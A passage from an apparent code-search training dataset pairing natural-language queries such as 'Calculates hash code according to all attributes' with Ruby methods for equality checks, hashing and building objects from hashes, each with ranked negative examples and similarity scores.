"def compare_equal?(item, line_item)\n ![\n :ax_account_number,\n :ax_account_id,\n :ax_order_number,\n :ax_order_id,\n :email_address,\n :first_name,\n :last_name,\n :serial_number,\n :purch_order_form_num\n ].detect { |attr| item.send(attr) != line_item.send(attr) }\n end",
"def ==(b) # :nodoc:\n ( b.respond_to?(:result_attributes) &&\n result_attributes == b.result_attributes && \n @result_attributes.all?{ |k| send(k) == b.send(k) } )\n end",
"def validates_different(*attr_names)\n validates_with ValidatesAll::DifferenceValidator, _merge_attributes(attr_names)\n end",
"def identical?\n #Song.first.attributes.each { |v,k| Song.find(:all, :conditions => [\" #{v} like ?\", \"%blah%\"])}\n Song.find(:all, :conditions => [\"name = ? or length = ?\", \"#{self.name}\", self.length]) do |x| \n x.hash == self.hash\n end\n end",
"def diff?(model = self.class.find(id))\n self.class.diffable_attributes.each do |attribute|\n return true if send(attribute) != model.send(attribute)\n end\n return false\n end",
"def filter_attributes_match?(hash_one, hash_two)\n hash_one.all? do |key, value_one|\n value_two = hash_two[key]\n case\n when value_one == value_two\n true\n when value_one.is_a?(Hash) && value_two.is_a?(Hash)\n filter_attributes_match?(value_one, value_two)\n when hash_one[key].to_s == hash_two[key].to_s\n true\n when value_one.is_a?(String) && value_one.start_with?(\"eval:\")\n eval_attribute_value(value_one, value_two)\n else\n false\n end\n end\n end",
"def comparable_attributes\n#\t\tHashWithIndifferentAccess[attributes.select {|k,v| \n#\t\t\t!Abstract.incomparable_attribute_names.include?(k)}]\n\t\tHashWithIndifferentAccess[attributes.select {|k,v| db_fields.include?(k)}]\n\tend",
"def all_equal?\n a = self.first\n all? { |b| a == b }\n end",
"def check_attrs(attr_list)\r\n attrs = []\r\n attr_list.each do |attr_sym|\r\n attr = assigns(attr_sym.to_sym)\r\n assert_not_nil attr, \"Attribute @#{attr_sym} should not be nil\"\r\n assert !attr.new_record?, \"Should have saved the @#{attr_sym} obj\" if attr.class == ActiveRecord\r\n attrs << attr\r\n end\r\n attrs.length > 1 ? attrs : attrs[0]\r\n end",
"def check_attrs(attr_list)\r\n attrs = []\r\n attr_list.each do |attr_sym|\r\n attr = assigns(attr_sym.to_sym)\r\n assert_not_nil attr, \"Attribute @#{attr_sym} should not be nil\"\r\n assert !attr.new_record?, \"Should have saved the @#{attr_sym} obj\" if attr.class == ActiveRecord\r\n attrs << attr\r\n end\r\n attrs.length > 1 ? attrs : attrs[0]\r\n end",
"def attr_set?(cards, attr)\n array = []\n cards.each do |card|\n # evalutes the string 'attr' and returns the value\n array << card.send(attr)\n end\n\n # only return true if it's all the same or totally different\n return true if array.uniq.count == 1\n return true if array.uniq.count == 3\n return false\n end",
"def attribute_changed?(attribute_name)\n (self.diff['attributes']['new']||{})[attribute] != (self.diff['attributes']['old']||{})[attribute]\n end",
"def eql?(other)\n return false if (other.nil? or self.class != other.class)\n return false unless super(other)\n return false unless self.attributes == other.attributes\n return false unless self.nodes == other.nodes\n true\n end",
"def eql?(other)\n return false unless self.class == other.class\n self.key_attributes == other.key_attributes\n end",
"def eql?(object)\n self.class.equal?(object.class) && attributes == object.attributes\n end",
"def uniquify_attributes(attributes)\n attributes.each do |ka|\n oldval = send(ka)\n next unless String === oldval\n newval = UniquifierCache.instance.get(self, oldval)\n set_property_value(ka, newval)\n logger.debug { \"Reset #{qp} #{ka} from #{oldval} to unique value #{newval}.\" }\n end\n end",
"def equals(rule)\n element == rule.element && attributes == rule.attributes\n end",
"def multi_element_attr_check( elements )\n wanted = Array.new\n found = Array.new\n elements.each do |element|\n print \".\"\n e = $driver.find_element(element[0].to_sym, element[1])\n wanted << [ element[1], element[2], element[3] ]\n found << [ element[1], element[2], e.attribute(element[2]) ]\n end\n\n found.should == wanted\n end",
"def attr_reader(*args)\n super\n comparison_attrs.concat(args)\n end",
"def xml_nodes_match_attrs(xml_nodes, attrs, mismatches = [])\n attrs.each_with_index.each { |attr_set, idx|\n xn = xml_nodes[idx]\n attr_set.each { |(attr_key, attr_val)|\n # Either call method, or hash key, or recurse on children\n # p.name vs. p[:name]\n if :children == attr_key\n # recurse over children\n xml_nodes_match_attrs(xn.children, attr_val, mismatches)\n else\n # compare attrs\n xn_val = xn.methods.include?(attr_key) ? xn.send(attr_key) : xn[attr_key]\n if xn_val != attr_val\n mismatches << { node: xn.name_and_class_path, attr: \"#{ attr_key }: expected #{ attr_val.inspect }, got #{ xn_val.inspect }\" }\n end\n end\n }\n }\n mismatches\n end",
"def matches_state_attrs?\n @expected_attrs == state_attrs\n end",
"def equal_list(expected)\n message = \"#{Helpers.inspect_records(@object)} has the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id)\n right = expected.map(&:id)\n \n test_case.assert(left != right, message)\n end",
"def eql?(other)\n return false unless super(other)\n return false unless attributes == other.attributes\n return false unless content == other.content\n\n true\n end",
"def ==(other)\n return true if other.equal?(self)\n return false unless other.instance_of?(self.class)\n\n self.class.attributes.inject(true) do |memo, attribute|\n attribute_name = attribute.first\n attribute_type = attribute.last[:type]\n\n # Skip associations\n if attribute_type.include?(LazyResource::Resource) || (attribute_type.is_a?(::Array) && attribute_type.first.include?(LazyResource::Resource))\n memo\n else\n memo && self.send(:\"#{attribute_name}\") == other.send(:\"#{attribute_name}\")\n end\n end\n end",
"def matches? item, attributes\n\n attributes.map { |attribute, value|\n\n item.send(attribute) == value\n\n }.flatten == [true]\n\n end",
"def ==( other ) \n\t\t\tcomparison_attributes = lambda{ |area| [ area.area_desc, area.altitude, area.ceiling, area.circles, area.geocodes, area.polygons ]}\n\t\t\tcomparison_attributes.call( self ) == comparison_attributes.call( other )\n\t\tend",
"def all_obs_same_attr?(observations, attr)\n exemplar = observations.first.send(attr)\n observations.all? { |o| o.send(attr) == exemplar }\n end",
"def eql?(*) end",
"def eql?(other)\n return true if equal?(other)\n return false unless self == other\n [:id, :fide_id, :rating, :fide_rating, :title, :gender].each do |m|\n return false if self.send(m) && other.send(m) && self.send(m) != other.send(m)\n end\n true\n end",
"def match\n @matches = attributes_enumerator.map do |(type, value), index|\n attribute_name = self.class.names[index]\n attributes.store(\n attribute_name, type.match(value, context: @context.dup)\n )\n end\n return if (failures = @matches.select(&:invalid?)).empty?\n failures.unshift(failure).reduce(:merge!)\n end",
"def ==(val)\n if val.is_a?(Model)\n # Use normal comparison for a model\n super\n else\n # Compare to attributes otherwise\n attributes == val\n end\n end",
"def ==(o)\n return true if self.equal?(o)\n self.class == o.class &&\n attribute == o.attribute &&\n statistics == o.statistics &&\n other == o.other &&\n total == o.total &&\n missing == o.missing &&\n term_count == o.term_count &&\n term_type == o.term_type &&\n terms == o.terms\n end",
"def ==(*several_variants)\n #This is a stub, used for indexing\n end",
"def is_equal?(a)\n @amount == a.amount && @code == a.code\n end",
"def equal_list(expected)\n message = \"#{Helpers.inspect_records(@object)} does not have the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id)\n right = expected.map(&:id)\n \n test_case.assert(left == right, message)\n end",
"def comparison_attributes\n except_list = ['id', 'updated_at', 'created_at', 'verified_at']\n except_list << 'alternative_phone' unless Spree::Config[:alternative_shipping_phone]\n except_list << 'company' unless Spree::Config[:company]\n\n a = attributes.except(*except_list)\n a.each{|k, v|\n if v.is_a?(String)\n v = v.downcase.strip.gsub(/\\s+/, ' ')\n a[k] = v.present? ? v : nil\n end\n }\n a['state_name'] = nil if a['state_name'].blank?\n a\n end",
"def xml_should_eql(actual, expected)\n same = xml_cmp(actual, expected)\n actual.should.== expected unless same \nend",
"def multi_element_attr_match( elements )\n elements.each do |element|\n print \".\"\n wait_for_element(element[0].to_sym, element[1])\n check_attribute_match(element[0].to_sym, element[1], element[2], element[3])\n end\n end",
"def test_equality_simple\n value1_ = ::Versionomy.create(:major => 2, :minor => 0, :release_type => :alpha, :alpha_version => 5)\n value2_ = ::Versionomy.create(:major => 2, :release_type => :alpha, :alpha_version => 5)\n assert_equal(value2_, value1_)\n assert_equal(value2_.hash, value1_.hash)\n end",
"def ==(other)\n other.is_a?(self.class) &&\n name == other.name &&\n attributes == other.attributes\n end",
"def changes(attrs1, attrs2)\n old_attrs = attrs1.slice(*GENERATED_ATTRS)\n new_attrs = attrs2.slice(*GENERATED_ATTRS)\n\n return if old_attrs == new_attrs\n old_attrs.each do |k, v|\n next if new_attrs[k] == v\n @changes << Change.new(nil, k, v, new_attrs[k]) \n end\n end",
"def tdiff_equal(node)\n if (self.class == node.class)\n case node\n when Nokogiri::XML::Attr\n (self.name == node.name && self.value == node.value)\n when Nokogiri::XML::Element, Nokogiri::XML::DTD\n self.name == node.name\n when Nokogiri::XML::Text, Nokogiri::XML::Comment\n self.text == node.text\n when Nokogiri::XML::ProcessingInstruction\n (self.name == node.name && self.content = self.content)\n else\n false\n end\n else\n false\n end\n end",
"def ==(other)\n name == other.name &&\n color == other.color &&\n age == other.age\n end",
"def more_desirable?(attribute_id1, attribute_id2)\n attribute_id1 < attribute_id2\n end",
"def isSame(tab)\n for x in 0..3\n for y in 0..3\n return(false) if (self.val(x,y) != tab.val(x,y)) ;\n end\n end\n return true ;\n end",
"def ==(other)\n # If the classes don't match, they cannot possibly be equal.\n if self.class != other.class\n return false\n end\n\n # If the persisted state doesn't match, they also can never be equal.\n if persisted? != other.persisted?\n return false\n end\n\n # When persisted, check the other's id to see if it's the same,\n # cannot possible be equals if they have different ids.\n if persisted? && id != other.id\n return false\n end\n\n # Finally, compare the attributes hash. If all key/values match,\n # they are considered equal.\n attributes == other.attributes\n end",
"def ==(other)\n self.class == other.class &&\n attributes[\"_id\"] == other.attributes[\"_id\"]\n end",
"def assert_same_values(expected, actual)\n actual.each_pair do |k,v|\n next unless expected[k]\n assert_equal expected[k], v, \"Values for #{k} are not matching\"\n end\n end",
"def assert_equivalent_xml(expected, actual)\n expected_xml = Nokogiri::XML(\"<test-xml>\\n#{expected}\\n</test-xml>\")\n actual_xml = Nokogiri::XML(\"<test-xml>\\n#{actual}\\n</test-xml>\")\n ignored_attributes = %w(style data-disable-with)\n\n equivalent = EquivalentXml.equivalent?(expected_xml, actual_xml, {\n ignore_attr_values: ignored_attributes\n }) do |a, b, result|\n if result === false && b.is_a?(Nokogiri::XML::Element)\n if b.attr('name') == 'utf8'\n # Handle wrapped utf8 hidden field for Rails 4.2+\n result = EquivalentXml.equivalent?(a.child, b)\n end\n if b.delete('data-disable-with')\n # Remove data-disable-with for Rails 5+\n # Workaround because ignoring in EquivalentXml doesn't work\n result = EquivalentXml.equivalent?(a, b)\n end\n if a.attr('type') == 'datetime' && b.attr('type') == 'datetime-local'\n a.delete('type')\n b.delete('type')\n # Handle new datetime type for Rails 5+\n result = EquivalentXml.equivalent?(a, b)\n end\n end\n result\n end\n\n assert equivalent, lambda {\n # using a lambda because diffing is expensive\n Diffy::Diff.new(\n sort_attributes(expected_xml.root),\n sort_attributes(actual_xml.root)\n ).to_s(:color)\n }\n end",
"def sync_duplicate_obj_attributes(obj1, obj2)\n duplicate_keys.each do |key|\n unless obj1[key].blank? && obj2[key].blank?\n if obj1[key].blank?\n obj1.send(\"#{key}=\", obj2[key])\n elsif obj2[key].blank?\n obj2.send(\"#{key}=\", obj1[key])\n else # Each obj has a value\n if obj1[key] != obj2[key]\n raise ArgumentError, \"#{key} attribute values on the two objects don't match: #{obj1[key]} vs #{obj2[key]}\"\n end\n end\n end\n end\n end",
"def eql?(other)\n return true if equal?(other)\n\n # two instances for different models cannot be equivalent\n return false unless other.kind_of?(model)\n\n # two instances with different keys cannot be equivalent\n return false if key != other.key\n\n # neither object has changed since loaded, so they are equivalent\n return true if repository == other.repository && !dirty? && !other.dirty?\n\n # get all the loaded and non-loaded properties that are not keys,\n # since the key comparison was performed earlier\n loaded, not_loaded = properties.select { |p| !p.key? }.partition do |property|\n attribute_loaded?(property.name) && other.attribute_loaded?(property.name)\n end\n\n # check all loaded properties, and then all unloaded properties\n (loaded + not_loaded).all? { |p| p.get(self) == p.get(other) }\n end",
"def assert_event_are_light_equal e1, e2\n return false if e1.class != e2.class\n\n [:subject, :event, :moodid,\n :mood, :music, :location, :taglist, :pickeyword,\n :preformatted, :backdated, :comments, :security, :allowmask,\n :screening,].each do |attr|\n return false if e1.send(attr) != e2.send(attr)\n end\n\n e1.compare_time(e2)\n end",
"def eql(expected)\n set_relativity(:eql, expected)\n end",
"def modified?( original )\n DATA_ATTRIBUTES.any? { |e| send( e ) != original.send( e )}\n end",
"def ==(other)\n @name == other.name && @amount == other.amount\n end",
"def ==(other)\n other.kind_of?(self.class) &&\n @name == other.name && @columns == other.columns && @unique == other.unique?\n end",
"def match_same_name_attributes(*options)\n\n options = options.extract_options!\n same_name_attributes = @from_table.columns.map(&:name) & @to_table.columns.map(&:name)\n\n if same_name_attributes\n same_name_attributes = columns_from_options(same_name_attributes, options)\n same_name_attributes.each do |same_name_attribute|\n from same_name_attribute, :to => same_name_attribute\n end\n end\n end",
"def equal_pair(key, request)\n if @event[\"required\"][key] == request[\"object_attributes\"][key] || event[\"required\"][key] == \"\"\n true\n else\n false\n end\n end",
"def assert_equal(att, value, error = [att, :not_equal])\n assert value === send(att), error\n end",
"def validate\n matched = {}\n duplicated_attributes = []\n attributes.each do |attribute|\n if matched.has_key?(attribute.name) && matched[attribute.name] == attribute.name_format\n duplicated_attributes << attribute.name unless duplicated_attributes.include?(attribute.name)\n else\n matched[attribute.name] = attribute.name_format\n end\n end\n if !duplicated_attributes.empty?\n raise ValidationError, \"An attribute with the same name and name format may only be specified once. The following attributes were specified multiple times: #{duplicated_attributes.join(',')}\"\n end\n end"
] | [
"0.72932124",
"0.7189842",
"0.70406866",
"0.7007727",
"0.68881786",
"0.68621296",
"0.67085785",
"0.66622394",
"0.661674",
"0.6586541",
"0.65844727",
"0.65818226",
"0.65561724",
"0.6545535",
"0.6508076",
"0.64813215",
"0.64577025",
"0.64179385",
"0.6414028",
"0.6414028",
"0.6414028",
"0.6413171",
"0.6381426",
"0.63794506",
"0.6261132",
"0.6248216",
"0.62396336",
"0.62170404",
"0.62027985",
"0.6185393",
"0.6183358",
"0.61645603",
"0.6130997",
"0.6116409",
"0.60984176",
"0.6085103",
"0.60793746",
"0.60665256",
"0.6007008",
"0.59990627",
"0.59962237",
"0.5992054",
"0.59861875",
"0.59839666",
"0.59775484",
"0.59522015",
"0.5942759",
"0.59304726",
"0.5926056",
"0.5919373",
"0.5919373",
"0.59087664",
"0.58807796",
"0.58804125",
"0.5872191",
"0.5858762",
"0.58584523",
"0.5856515",
"0.58547515",
"0.5848128",
"0.584702",
"0.5838001",
"0.580043",
"0.57966435",
"0.5789952",
"0.5782547",
"0.57804406",
"0.5776911",
"0.5768212",
"0.5760853",
"0.57585114",
"0.5754842",
"0.57537735",
"0.5751662",
"0.5739966",
"0.57313424",
"0.57282376",
"0.57258046",
"0.57248116",
"0.57227004",
"0.57146037",
"0.57104737",
"0.5706446",
"0.57053125",
"0.5702263",
"0.56904846",
"0.56762695",
"0.5645565",
"0.5641733",
"0.56226075",
"0.56152636",
"0.55932444",
"0.5588176",
"0.5585386",
"0.55700636",
"0.55527586",
"0.55477995",
"0.5546062",
"0.5543475",
"0.55395126",
"0.55284184"
] | 0.0 | -1 |
Calculates hash code according to all attributes. | def hash
[store_id, client_locale, transaction_amount, transaction_type, order_id, billing, shipping, transaction_notification_url, expiration, authenticate_transaction, dynamic_merchant_name, invoice_number, purchase_order_number, hosted_payment_page_text, ip, revolving_options, installment_options, basket].hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash\n code = 17\n code = 37*code + @x.hash\n code = 37*code + @y.hash\n # Add lines like this for each significant instance variable\n code # Return the resulting code\n end",
"def hash(*) end",
"def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end",
"def hash_code; end",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def hash() #:nodoc:\n prime = 31;\n result = 1;\n result = prime * result + @amount.to_i\n result = prime * result + @new_balance.to_i\n result = prime * result + (@date.nil? ? 0 : Bankjob.date_time_to_ofx(@date).hash);\n result = prime * result + (@raw_description.nil? ? 0 : @raw_description.hash);\n result = prime * result + (@type.nil? ? 0 : @type.hash);\n # don't use value date\n return result;\n end",
"def hash\n prime = 31\n result = 1\n result = result * prime + (@decision_target == nil ? 0 : @decision_target.hash)\n result = prime * result + (@string_id == nil ? 0 : @string_id.hash)\n result\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end",
"def hash\r\n a = 0\r\n @id.each_byte {|c| a += c.to_i}\r\n (a + @paired.to_i) * HASH_PRIME\r\n end",
"def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end",
"def hash\n size.hash ^ rank.hash\n end",
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def hash\n @hash || calculate_hash!\n end",
"def hash\n return name.hash ^ direction.hash ^ lhs.hash ^ rhs.hash\n end",
"def hash\n value = 0\n my_rows = @rows\n r_size = my_rows.size\n for i in 0..r_size-1 do\n a_row = my_rows[i]\n a_size = a_row.size\n for j in 0..a_size-1 do\n value ^= a_row[j].hash\n end\n end\n return value\n end",
"def hash\n id.hash + 32 * bs_request.hash\n end",
"def do_hash(input)\n a = OpenSSL::Digest.hexdigest(\"SHA224\", input).to_i % 19\n b = OpenSSL::Digest.hexdigest(\"SHA512\", input).to_i % 19\n [a, b]\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def hash\n [self.class, self.val, self.attribute].hash\n end",
"def hash\n 0\n end",
"def hash # :nodoc:\n identifier.hash ^ requirement.hash\n end",
"def hash\n self.class.hash ^ key_attributes.hash\n end",
"def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end",
"def hash\n h = @e.nil? ? 0 : @e\n h = (h << 1) ^ @r.hash\n h = (h << 1) ^ @v.hash\n end",
"def hash() source.hash ^ (target.hash+1); end",
"def hash() source.hash ^ (target.hash+1); end",
"def hash\n\t\t\"#{@x}#{@y}\".hash\n\tend",
"def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end",
"def hash\n Zlib.crc32(to_a.map(&:to_s).sort.to_s)\n end",
"def hash_code\n prime = 31\n result = 1\n result = prime * result + x\n result = prime * result + y\n return result;\n end",
"def hash\n self.class.hash ^ operand.hash\n end",
"def hash!\n\t\t@@email.downcase!\n\t\thash = Digest::MD5.hexdigest(@@email)\n\t\treturn hash\n\tend",
"def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"def hash\n ([self.class] + self.class.comparison_attrs.map{|x| send(x)}).hash\n end",
"def hash\n @symbols.hash + 37*positive?.hash\n end",
"def calculate_unique_hash\n unique = ''\n unique += self.content if self.content.present?\n unique += self.summary if self.summary.present?\n unique += self.title if self.title.present?\n self.unique_hash = Digest::MD5.hexdigest unique\n end",
"def hash()\n #This is a stub, used for indexing\n end",
"def hash\n # Memoizing such a simple hash value seems silly, however the\n # profiler showed the Card#hash method as having 22% of the runtime. My\n # memoizing the hash value that was reduced to 12%.\n return @hash unless @hash.nil?\n @hash = @value.hash ^ @suit.hash\n end",
"def hash=(_arg0); end",
"def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend",
"def hash\n num = 0\n self.each do |k,v|\n if k.is_a?(Integer) && v.is_a?(Integer)\n num += k * 26 + v\n elsif k.is_a?(Integer) && !v.is_a?(Integer)\n num += k * 26 + ALPHA_NUMBERS[v.to_s.downcase]\n elsif v.is_a?(Integer) && !k.is_a?(Integer)\n num += v * 26 + ALPHA_NUMBERS[k.to_s.downcase]\n elsif !k.nil? && !v.nil?\n num += ALPHA_NUMBERS[k.to_s.downcase] * ALPHA_NUMBERS[v.to_s.downcase]\n end\n end\n num\n end",
"def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend",
"def hash\n return @hash_code if defined? @hash_code\n @hash_code = usual_equal_object.hash\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash\n [oct, pc].hash\n end",
"def hash\n excl = @excl ? 1 : 0\n hash = excl\n hash ^= @begin.hash << 1\n hash ^= @end.hash << 9\n hash ^= excl << 24;\n # Are we throwing away too much here for a good hash value distribution?\n return hash & Fixnum::MAX\n end",
"def hash\n code.hash\n end",
"def hash # :nodoc:\n name.hash ^ type.hash ^ requirement.hash\n end",
"def hash\n @vbits.hash\n end",
"def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end",
"def hash\n if @sha512hash != nil\n return @sha512hash.to_i(16)\n else\n super\n end\n end",
"def calc_hash(pass)\n salt_cost = SCrypt::Engine.autodetect_cost(self[:salt])\n SCrypt::Engine.scrypt(pass, self[:salt], salt_cost, 32).unpack('H*').first\n end",
"def hash\n [lac, cid, radio, mcc, mnc, signal, psc, asu, ta].hash\n end",
"def calculate_checksum\n last_checksum = previous_event&.checksum\n attrs = attributes.except(\"checksum\", \"id\", \"updated_at\").merge(last_checksum: last_checksum)\n cs = Digest::SHA256.hexdigest(attrs.to_s)\n puts \"#{id} calculate_checksum: #{cs} <- #{attrs} \" if Rails.env.development?\n Rails.logger.info(\"#{id} calculate_checksum: #{cs} <- #{attrs} \")\n return cs\n end",
"def hash\n code.hash\n end",
"def hash\n\t\t[@a, @b, self.class::D].hash\n\tend",
"def consistent_hash\n Zlib.crc32(self.to_yaml, 0)\n end",
"def hash\n @hash[:perm_type].hash ^\n @hash[:perms].hash ^\n @hash[:inheritance].hash ^\n @hash[:target].hash\n end",
"def hash( *strs )\n return Digest::MD5.hexdigest( strs.join )\n end",
"def hash\n @rank.hash ^ @suit.hash\n end",
"def hash\n return Digest::MD5.hexdigest(self.describe(' '))\n end",
"def hash\n @real.hash ^ @image.hash\n end",
"def to_hash() end",
"def hash_length\n super\n end",
"def hash_hash(h)\n require 'digest/md5'\n Digest::MD5.hexdigest(Marshal::dump(h.sort))\n end",
"def hash() source.hash ^ target.hash; end",
"def hash\n [first_name, last_name, address_one, address_two, city, state, zip, phone, email, country_code].hash\n end",
"def calculate_hash(input, prep_hashes)\n result = 0\n input.unpack('U*').each do |x|\n result += prep_hashes.hash(x)\n end\n (result % MOD_VALUE).to_s(HEX)\nend",
"def c_hash\n sha256 = Digest::SHA256.new\n token = @code.token.token\n hashed_token = sha256.digest(token)\n first_half = hashed_token[0...hashed_token.length / 2]\n Base64.urlsafe_encode64(first_half).tr('=', '')\n end",
"def hash(block)\n Digest::SHA256.hexdigest(block.to_s.encode)\n end",
"def calculate_hash\n\t\toptions = {:firstname => firstname, :email => email, :phone => phone, :txnid => txnid, :surl => surl, :furl => furl, :productinfo => productinfo, :amount => amount}\n\t\tservice = PayuIndia::Helper.new(payment_gateway_key, payment_gateway_salt, options)\n\t\tself.hast = service.generate_checksum\n\tend",
"def hash\n [rank, suit].hash\n end",
"def hash\n self.class.hash ^ left.hash ^ right.hash\n end",
"def generate_hash(*args)\n Digest::SHA3.hexdigest(args.join(''))\n end",
"def hash_code\n hash_code = {}\n self.seq.each do |letter|\n hash_code.keys.include?(letter) ? hash_code[letter] += 1 : hash_code[letter] = 1\n end\n hash_code\n end",
"def hashify_attributes(attrs)\n Hash.new.tap{ |h| attrs.each{|a| h[a] = self.send(a)} }\n end",
"def hash\n\n self.h.fei.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end"
] | [
"0.7118691",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.70400536",
"0.68960655",
"0.67847186",
"0.6707762",
"0.670052",
"0.6688737",
"0.66705376",
"0.6489735",
"0.6462376",
"0.6462376",
"0.64444333",
"0.6413127",
"0.6395483",
"0.63898623",
"0.6372129",
"0.635671",
"0.63370055",
"0.62682766",
"0.62533766",
"0.6246914",
"0.6230963",
"0.62173444",
"0.6214272",
"0.6214131",
"0.61962456",
"0.619165",
"0.61866295",
"0.6185355",
"0.6185355",
"0.6153702",
"0.6145376",
"0.6144877",
"0.6139152",
"0.6128312",
"0.61224943",
"0.61217207",
"0.61205214",
"0.61041045",
"0.61000645",
"0.60937095",
"0.60931146",
"0.60818595",
"0.60811466",
"0.60500103",
"0.60322344",
"0.6022704",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.6020012",
"0.60178953",
"0.6014942",
"0.5997442",
"0.59880185",
"0.598736",
"0.59799886",
"0.5972682",
"0.5969595",
"0.5969411",
"0.59594935",
"0.5957466",
"0.59423596",
"0.5942144",
"0.59245354",
"0.5924357",
"0.5904946",
"0.59025365",
"0.58536685",
"0.5847055",
"0.58454466",
"0.5845053",
"0.58447546",
"0.5844059",
"0.5842638",
"0.5840575",
"0.58391696",
"0.5825819",
"0.5824118",
"0.5823615",
"0.58184344",
"0.5815284",
"0.58124787",
"0.5810309",
"0.5808056",
"0.5808056",
"0.5808056",
"0.5806852",
"0.5806852"
] | 0.0 | -1 |
Builds the object from hash | def build_from_hash(attributes, attribute_map = self.class.attribute_map, openapi_types = self.class.openapi_types)
return nil unless attributes.is_a?(Hash)
openapi_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def build(hash)\n obj = new\n hash.each_pair do |k,v|\n obj[k] = v if variables[k]\n end\n return obj\n end",
"def build_from_hash(attributes)\n\n end",
"def build_from_hash(hash)\n instance = self.new\n\n # Add the instance attributes dynamically from the hash. If the attribute\n # does not already exist, then don't re-add the attribute class and\n # variable, just set it with the value from the hash\n hash.keys.each do |key|\n class_eval { attr_accessor key } unless instance.methods.include?(key.to_sym)\n instance.instance_variable_set \"@#{key}\", hash[key]\n end\n\n instance\n end",
"def build(hash, track_changes = true)\n resource = fields.each_with_object(new) do |field, r|\n value = hash.fetch(field.to_s, hash[field.to_sym])\n r.send(\"#{field}=\", value)\n end\n resource.clear_changes! unless track_changes\n resource\n end",
"def initialize hash\n @hash = hash\n end",
"def build(params)\n return new(params) if params.is_a?(Hash)\n raise(\"unexpected parameter, expected Hash, received #{params.class}\")\n end",
"def initialize( hash )\n\t\t\t@hash = hash.dup\n\t\t\t@dirty = false\n\t\tend",
"def initialize(a_hash)\n from_h(a_hash)\n end",
"def initialize\n\t\t\t@hash = {}\n\t\tend",
"def initialize(hash)\n @hash = hash\n @converted = {}\n end",
"def initialize(hash)\n @short_code = hash[\"short_code\"]\n @name = hash[\"name\"]\n @id = hash[\"id\"]\n end",
"def initialize(hash)\n super(hash)\n end",
"def initialize\n @h = new_hash\n end",
"def new_from_hash(hash)\n if hash == nil\n self.class.new.assign(self)\n else\n hash_obj = hash\n if hash.instance_of?(Hash)\n hash_obj = self.class.new\n merge_hash_into_object(hash, hash_obj)\n end\n instance = self.class.new\n object_assign(instance, hash_obj)\n end\n end",
"def initialize(hash={})\n @hash = hash\n end",
"def initialize\n @hash = {}\n end",
"def initialize\n @hash = {}\n end",
"def initialize(hash)\r\n hash.each { |k, v|\r\n # Create getters and setters\r\n self.class.attr_accessor(k)\r\n # Set value for created variable\r\n self.send(\"#{k}=\", v)\r\n }\r\n self.class.all.push(self)\r\n end",
"def build!(hash)\n hash.must(::Hash) { raise ArgumentError, \"#{self} expects Hash, but got #{hash.class}\" }\n\n if hash.size != variables.size\n keys1 = variables.keys\n keys2 = hash.keys.map(&:to_s)\n minus = (keys1 - keys2).map{|i| \"-#{i}\"}\n plus = (keys2 - keys1).map{|i| \"+#{i}\"}\n \n msg = \"#{self} expects #{variables.size}, but got #{hash.size} (%s)\" % (minus + plus).join(\",\")\n raise Typed::SizeMismatch, msg\n end\n\n # 'build' just ignore unknown fields, but 'build!' raise errors\n obj = new\n hash.each_pair do |k,v|\n obj[k] = v\n end\n return obj\n end",
